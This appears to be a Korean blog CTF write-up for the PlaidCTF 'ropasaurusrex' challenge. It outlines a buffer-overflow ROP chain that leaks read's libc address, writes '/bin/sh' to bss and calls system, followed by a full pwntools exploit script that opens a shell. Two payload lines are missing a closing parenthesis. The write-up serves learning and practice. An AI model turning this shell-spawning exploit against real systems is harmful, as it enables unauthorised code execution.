[PlaidCTF] ropasaurusrex

2018. 8. 27. 23:41

보통 rop 공부를 할 때, 풀어보는 문제 1순위권에 들어간다고한다. 문제이름도 rop어쩌구저쩌구이니 그럴만하다고 생각한다.

(물론 나는 이제 풀어보지만)


어쨋든 오늘은 고향으로 내려오는데 비가 겁나게 내려서 고생하고, 각종 대중교통에 시달려서 피곤해서;;

왠지 쉬울것같기도하고 예전에 rop공부하면서 "풀어봐야지~ 풀어봐야지~"하면서 결국 안푼 ropasaurusrex를 꺼내왔다.


그런데 쉬움 ㅇㅇ


writeup이 이제와서는 그냥 저냥 스샷도없고 말로만 설명하게 된다. 이게 귀차니즘이란건가

아마 이 롸업을 보는 사람이 있다면 이 문제를 풀어보려하거나 문제를 풀고 다른 사람이 어떻게 풀었는지 보는 사람일테니

바이너리랑 익스코드만 올리겠당..


바이너리는 여기


ropasaurusrex


익스는 대충 이렇다.


#stage 1

1. BOF를 일으켜 ROP한다.

2. write(1, read@got, 4)로 read의 주소를 leak

3. read(0, bss영역주소, 8)로 "/bin/sh"를 bss영역에 쓴다.

4. 2에서 leak한 read주소로부터 system함수의 주소를 구한다. (함수 오프셋이용)

5. 다시 main으로 점프한다.


위 단계를 마치게되면, system함수의 주소와 "/bin/sh"가 bss영역에 쓰여있게 된다.

그리고 다시 main으로 돌아왔으므로, 다시 bof를 일으키고 system("/bin/sh")로 뛰게하면 된다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
from pwn import *
 
conn = process("./ropasaurusrex")
 
main_addr = 0x804841d
read_plt = 0x804832c
write_plt = 0x804830c
pppr = 0x80484b6
 
read_got = 0x804961c
write_got = 0x8049614
bss = 0x8049628
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# write stdout , read's address
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
 
# bss <- "/bin/sh" : read stdin
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(main_addr)
 
conn.sendline(payload)
 
read_addr = u32(conn.recv(4))
system_addr = read_addr - 0x9ad60
log.info("read_address   : 0x%x" % read_addr)
log.info("system_address : 0x%x" % system_addr)
 
# read(0, bss, 4)  <- "/bin/sh\x00"
conn.send("/bin/sh\x00")
 
payload  = "A"*0x88           #buf
payload += p32(0xdeadbeef#sfp
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(bss)
 
conn.sendline(payload)
conn.interactive()
 
 
 
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[9447 CTF 2015] Search Engine  (1) 2018.09.30
[noxCTF] The Black Canary writeup  (0) 2018.09.13
[Codegate] BugBug  (0) 2018.08.22
[hackcon18] Simpe Yet Elegent  (0) 2018.08.18
[WhiteHatWargame.vn] nobaby  (0) 2018.08.13

+ Recent posts